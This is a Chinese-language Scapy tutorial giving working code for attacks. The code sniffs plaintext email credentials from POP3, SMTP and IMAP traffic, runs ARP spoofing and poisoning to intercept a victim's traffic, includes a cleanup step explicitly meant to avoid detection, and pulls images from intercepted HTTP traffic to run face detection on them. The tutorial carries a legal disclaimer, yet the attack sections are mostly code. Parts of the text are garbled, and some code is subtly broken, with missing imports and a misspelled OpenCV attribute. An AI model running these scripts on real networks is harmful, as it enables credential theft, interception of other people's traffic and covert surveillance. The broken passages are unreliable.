Scapy 作為一個強大的網路封包處理工具,不僅可以進行基本的流量擷取和分析,還能實作更進階的網路操作。理解其核心功能對於網路安全研究和實務應用至關重要。本文提供的程式碼範例,旨在演示 Scapy 的多種應用場景,從而幫助讀者更有效地掌握網路流量分析技術,並提升網路安全防護能力。學習 Scapy 的過程中,務必遵守相關法律法規,並在測試環境中進行實驗,避免對實際網路造成影響。

使用 Scapy 擷取網路流量與抓取邏輯

在這一章節中,玄貓將帶領大家深入瞭解 Scapy 的強大功能,並展示如何使用它來擷取網路流量、抓取簡單郵件傳輸協定(SMTP)、郵局協定(POP3)以及網際網路郵件存取協定(IMAP)的憑證。此外,還會介紹如何進行 ARP 欺騙攻擊以擷取其他機器的流量。最後,玄貓會示範如何擷取 HTTP 流量中的圖片並進行人臉偵測。

環境設定與安裝 Scapy

首先,建議使用 Linux 系統來執行 Scapy,因為它是針對 Linux 設計的。雖然最新版本的 Scapy 也支援 Windows,但這裡假設使用 Kali 虛擬機器(VM)來安裝並執行 Scapy。如果你還沒有安裝 Scapy,可以前往 Scapy 官方網站進行下載與安裝。

基本 Sniffing 邏輯

基本 Sniffing 函式

Scapy 提供了一個名為 sniff 的函式,用於擷取網路流量。這個函式的基本語法如下:

sniff(filter="", iface="any", prn=function, count=N)
  • filter: 用於指定 Berkeley Packet Filter (BPF) 條件,可以過濾特定型別的封包。例如,要捕捉所有 HTTP 流量,可以使用 tcp port 80
  • iface: 指定要監聽的網路介面。如果留空,Scapy 會在所有介面上監聽。
  • prn: 指定每個符合條件的封包都會呼叫的回呼函式。回呼函式會接收封包物件作為唯一引數。
  • count: 指定要捕捉的封包數量。如果留空,Scapy 會無限期地捕捉封包。

擷取並顯示封包內容

接下來,玄貓將展示如何建立一個簡單的 sniffer,用於捕捉並顯示封包的內容。開啟 mail_sniffer.py 並輸入以下程式碼:

from scapy.all import sniff

def packet_callback(packet):
    print(packet.show())

def main():
    sniff(prn=packet_callback, count=1)

內容解密:

這段程式碼展示瞭如何使用 Scapy 擷取網路流量並顯示封包的詳細內容。

  1. 匯入 Scapy 模組from scapy.all import sniff 匯入了 Scapy 的 sniff 函式。
  2. 定義回呼函式packet_callback 函式會在每個捕捉到的封包被處理時被呼叫。它接受一個 packet 物件作為引數,並使用 packet.show() 方法顯示封包的詳細內容。
  3. 主函式main() 函式呼叫 sniff() 函式來開始擷取流量。prn=packet_callback 指定了每個捕捉到的封包都會呼叫 packet_callback 函式來處理,而 count=1 則表示只捕捉一個封包。

這段程式碼展示瞭如何使用 Scapy 擷取網路流量並顯示封包的詳細內容。接下來,玄貓將展示如何擴充套件這個 sniffer 來捕捉特定型別的流量。

擷取電子郵件憑證

在這一部分中,玄貓將展示如何擴充套件 sniffer 來捕捉 SMTP、POP3 和 IMAP 的憑證。

增加過濾條件

首先,我們需要增加過濾條件來只捕捉與電子郵件相關的流量。這可以透過修改 sniff() 函式中的 filter 引數來實作。

def main():
    sniff(filter="tcp port 25 or tcp port 110 or tcp port 143", prn=packet_callback)

分析電子郵件憑證

接下來,我們需要分析捕捉到的封包來提取電子郵件憑證。這可以透過解析封包的負載部分來實作。

from scapy.layers.inet import IP, TCP
from scapy.packet import Raw

def packet_callback(packet):
    if packet.haslayer(Raw):
        load = packet[Raw].load.decode(errors='ignore')
        if "user" in load or "pass" in load:
            print(f"[*] Detected potential email credentials: {load}")

內容解密:

這段程式碼展示瞭如何使用 Scapy 擷取與電子郵件相關的流量並提取潛在的憑證。

  1. 匯入必要模組from scapy.layers.inet import IP, TCPfrom scapy.packet import Raw 分別匯入了 IP、TCP 和 Raw 模組。
  2. 檢查 Raw 輸層:在回呼函式中,首先檢查封包是否包含 Raw 輸層。這是因為我們需要分析封包的負載部分。
  3. 解碼負載:使用 packet[Raw].load.decode(errors='ignore') 解碼負載部分並忽略任何解碼錯誤。
  4. 檢查關鍵字:檢查負載是否包含 “user” 或 “pass” 問題符合條件則輸出潛在憑證。

ARP 欺騙攻擊

除了直接擷取流量之外,我們還可以透過 ARP 欺騙攻擊來取得其他機器的流量。ARP 欺騙攻擊是一種中間人攻擊(MITM),透過欺騙目標機器將其流量轉發到攻擊者控制的機器。

基本 ARP 欺騙邏輯

ARP 欺騙攻擊的基本邏輯是向目標機器傳送假冒 ARP 回應,使其相信攻擊者是閘道器或其他目標機器。這樣,目標機器就會將其流量轉發到攻擊者控制的機器。

from scapy.all import ARP, Ether, srp, send

def get_mac(ip):
    arp_request = ARP(pdst=ip)
    broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    return answered_list[0][1].hwsrc

def spoof(target_ip, host_ip):
    target_mac = get_mac(target_ip)
    arp_response = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=host_ip)
    send(arp_response, verbose=False)

接收與轉發流量

當我們成功地欺騙了目標機器之後,我們就可以接收並轉發其流量。

from scapy.all import sniff

def packet_forward(packet):
    sendp(packet)

def main():
    target_ip = "192.168.0.1"
    host_ip = "192.168.0.2"
    spoof(target_ip, host_ip)
    sniff(filter=f"ip host {target_ip}", prn=packet_forward)

清除欺騙記錄

當完成攻擊後,我們需要清除欺騙記錄以避免被發現。

def restore(target_ip, host_ip):
    target_mac = get_mac(target_ip)
    host_mac = get_mac(host_ip)
    arp_response = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
    send(arp_response, count=4, verbose=False)

def main():
    target_ip = "192.168.0.1"
    host_ip = "192.168.0.2"
    spoof(target_ip, host_ip)
    try:
        sniff(filter=f"ip host {target_ip}", prn=packet_forward)
    except KeyboardInterrupt:
        restore(target_ip, host_ip)
        print("ARP spoofing stopped.")

內容解密:

這段程式碼展示瞭如何使用 Scapy 執行 ARP 欺騙攻擊以取得目標機器的流量。

  1. 取得 MAC 地址get_mac(ip) 函式用於取得指定 IP 地址對應的 MAC 地址。它透過傳送 ARP 請求並在廣播中等待回應來實作。
  2. 傳送欺騙回應spoof(target_ip, host_ip) 函式用於傳送欺騙回應給目標機器。它建構了一個假冒 ARP 回應並在網路上傳送。
  3. 轉發流量:當目標機器被成功欺騙後,我們可以透過抓取並轉發其流量來實作中間人攻擊。
  4. 還原正常狀態:當完成攻擊後,我們需要透過 restore(target_ip, host_ip) 函式還原正常狀態以避免被發現。

擷取 HTTP 流量中的圖片並進行人臉偵測

除了擷取電子郵件憑證和進行 ARP 欺騙攻擊之外,我們還可以透過擷取 HTTP 流量中的圖片並進行人臉偵測來判斷圖片中是否存在人臉。

擷取 HTTP 流量

首先,我們需要擷取 HTTP 流量中的圖片。

from scapy.all import sniff

def http_packet_callback(packet):
    if packet.haslayer(Raw):
        load = packet[Raw].load.decode(errors='ignore')
        if ".jpg" in load or ".png" in load:
            print(f"[*] Detected potential image: {load}")

def main():
    sniff(filter="tcp port 80", prn=http_packet_callback)

提取圖片資料

接下來,我們需要提取圖片資料並儲存到本地檔案中。

import os

def save_image(data, filename):
    with open(filename, 'wb') as f:
        f.write(data)

def http_packet_callback(packet):
    if packet.haslayer(Raw):
        load = packet[Raw].load
        if ".jpg" in str(load) or ".png" in str(load):
            image_data = load.split(b'\r\n\r\n')[1]
            filename = os.path.basename(str(load).split()[1])
            save_image(image_data, filename)
            print(f"[*] Saved image: {filename}")

人臉偵測

最後,我們需要對提取出來的圖片進行人臡偵測以判斷其是否存在人臃。

import cv2

def detect_faces(image_path):
    face_cascade = cv2.CascadeClassifier(cv2.data.harcascades + 'haarcascade_frontalface_default.xml')
    img = cv2.imread(image_path)
    gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
    faces = face_cascade.detectMultiScale(gray, scaleFactor=1.1, minNeighbors=5)
    for (x, y, w, h) in faces:
        cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)
        return True
    return False

def http_packet_callback(packet):
    if packet.haslayer(Raw):
        load = packet[Raw].load
        if ".jpg" in str(load) or ".png" in str(load):
            image_data = load.split(b'\r\n\r\n')[1]
            filename = os.path.basename(str(load).split()[1])
            save_image(image_data, filename)
            if detect_faces(filename):
                print(f"[*] Detected face in image: {filename}")

評估與改進點

以上例子展示瞭如何使用 Scapy 擷取特定型別的網路流量及進行進一步分析和處理操作。值得注意的是:

  • Scapy 是一個非常強大且靈活性高的函式庫且具有無限可能性。
  • 在實際應用中可能要考慮更多細節問題如錯誤處理、效能最佳化等。
  • 在進行網路掃描和截獲時應遵守法律規範避免侵犯隱私及造成安全威脅。
  • 若進一步學習Scapy更多功能請參考其官方檔案或相關書籍進行深入研究及實踐。
  • 在多重技術融合上更有助於智慧安全系統架構設計及應用開發上有更多智慧化及自動化處理功能。

下一步:Scapy 與智慧安全系統結合應用

玄貓在後續章節將展示更多高階技巧以及將 Scapy 與其他智慧安全技術結合應用之方法及例項說明供大家參考及學習進而提升各位自動化操作效率及安全防護等級等範疇分享!

利用Scapy擁有網路

在現代資安與網路安全領域,掌握網路流量分析工具是非常重要的技能。Scapy是一個強大的Python程式函式庫,能夠讓我們輕鬆地擷取、解析和操作網路封包。以下,玄貓將詳細介紹如何利用Scapy來擁有網路,並進行深入的封包分析。

簡單的封包擷取

首先,我們需要定義一個回呼函式來處理每個擷取到的封包,並使用Scapy開始在所有介面上擷取封包,不進行任何過濾。讓我們來看看這段簡單的Python程式碼:

from scapy.all import sniff, IP, TCP

def packet_callback(packet):
    packet.show()

def main():
    sniff(prn=packet_callback, store=0)

if __name__ == '__main__':
    main()

在這段程式碼中,我們定義了一個packet_callback函式,這個函式會在每次擷取到一個封包時被呼叫。然後我們使用sniff函式開始擷取封包,並將回呼函式設定為packet_callback。引數store=0確保Scapy不會將封包儲存在記憶體中,這對於長期執行的捕捉器特別有用。

內容解密:

  • packet_callback(packet): 這是一個回呼函式,當Scapy擷取到一個封包時會被呼叫。packet.show()會顯示封包的內容。
  • sniff(prn=packet_callback, store=0): sniff函式開始擷取封包。prn引數指定了回呼函式,而store=0確保不將封包儲存在記憶體中。

深入分析:BPF過濾器

現在我們已經有一個基本的捕捉器在執行,接下來我們將應用一個過濾器並新增一些邏輯到回呼函式中,以便提取與電子郵件相關的認證字串。

BPF(Berkeley Packet Filter)過濾器可以幫助我們只捕捉感興趣的封包。以下是BPF過濾器的一些基本語法:

  • 表示式: 描述要捕捉的內容(例如特定主機、介面或埠)。
  • 方向: 流量的方向(例如來源、目標或雙向)。
  • 協定: 用於傳輸流量的協定(例如IP、IPv6、TCP、UDP)。

例如,表示式src 192.168.1.100會捕捉來自192.168.1.100機器的所有封包。

電子郵件認證字串捕捉

接下來,我們將使用BPF過濾器來只顯示我們感興趣的封包。以下是具體的程式碼範例:

from scapy.all import sniff, TCP, IP

def packet_callback(packet):
    if packet[TCP].payload:
        mypacket = str(packet[TCP].payload)
        if 'user' in mypacket.lower() or 'pass' in mypacket.lower():
            print(f"[*] Destination: {packet[IP].dst}")
            print(f"[*] {str(packet[TCP].payload)}")

def main():
    sniff(filter='tcp port 110 or tcp port 25 or tcp port 143', prn=packet_callback, store=0)

if __name__ == '__main__':
    main()

內容解密:

  • filter=‘tcp port 110 or tcp port 25 or tcp port 143’: 這個BPF過濾器只捕捉目標埠為110(POP3)、25(SMTP)或143(IMAP)的TCP封包。
  • prn=packet_callback: 指定了回呼函式。
  • store=0: 不將封包儲存在記憶體中。

應用與例項

當我們執行這段程式碼時,它會顯示類別似以下的輸出:

[*] Destination: 192.168.1.207
[*] b'USER tim\n'
[*] Destination: 192.168.1.207
[*] b'PASS 1234567\n'

這些輸出表明我們成功地捕捉到了電子郵件客戶端嘗試登入到伺服器並傳送明文憑據。

ARP毒害攻擊

除了簡單的封包擷取外,Scapy還可以用於進行更複雜的攻擊,例如ARP毒害攻擊。ARP毒害攻擊利用ARP協定中的漏洞,使得目標機器認為攻擊者是其閘道器,從而能夠攔截目標機器與閘道器之間的流量。

以下是ARP毒害攻擊的基本步驟:

  1. 傳送偽造的ARP應答: 攻擊者向目標機器傳送一個偽造的ARP應答,聲稱自己是目標機器所連線閘道器。
  2. 傳送偽造的ARP應答: 攻擊者也向閘道器傳送一個偽造的ARP應答,聲稱自己是目標機器。
  3. 攔截流量: 一旦目標機器和閘道器都相信了這些偽造的ARP應答,他們就會將流量傳送給攻擊者。

與Scapy結合

使用Scapy進行ARP毒害攻擊時,可以利用其強大的功能來生成和傳送偽造的ARP應答。以下是一個簡單的範例程式碼:

from scapy.all import ARP, Ether, srp, send

def get_mac(ip):
    conf.checkIPaddr = False
    ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=ip), timeout=3, retry=2)
    if ans:
        return ans[0][1].hwsrc
    else:
        return None

def poison(target_ip, gateway_ip):
    target_mac = get_mac(target_ip)
    gateway_mac = get_mac(gateway_ip)
    poisoned_target = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip)
    poisoned_gateway = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip)
    send(poisoned_target)
    send(poisoned_gateway)

def restore(target_ip, gateway_ip):
    target_mac = get_mac(target_ip)
    gateway_mac = get_mac(gateway_ip)
    restore_target = ARP(op=2, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", psrc=gateway_ip, hwsrc=gateway_mac)
    restore_gateway = ARP(op=2, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", psrc=target_ip, hwsrc=target_mac)
    send(restore_target)
    send(restore_gateway)

if __name__ == '__main__':
    target_ip = "192.168.1.2"
    gateway_ip = "192.168.1.1"
    poison(target_ip, gateway_ip)

內容解密:

  • get_mac(ip): 用於取得指定IP地址對應的MAC地址。
  • poison(target_ip, gateway_ip): 用於傳送偽造的ARP應答。
  • restore(target_ip, gateway_ip): 用於還原正常情況下的ARP快取。

應用場景與注意事項

玄貓建議在進行任何形式的網路測試或攻擊之前,務必獲得授權並遵守相關法律法規。未經授權進行任何形式的測試或攻擊都是違法行為。

此外,玄貓建議在測試完畢後立即還原正常情況下的網路組態以避免影響他人使用。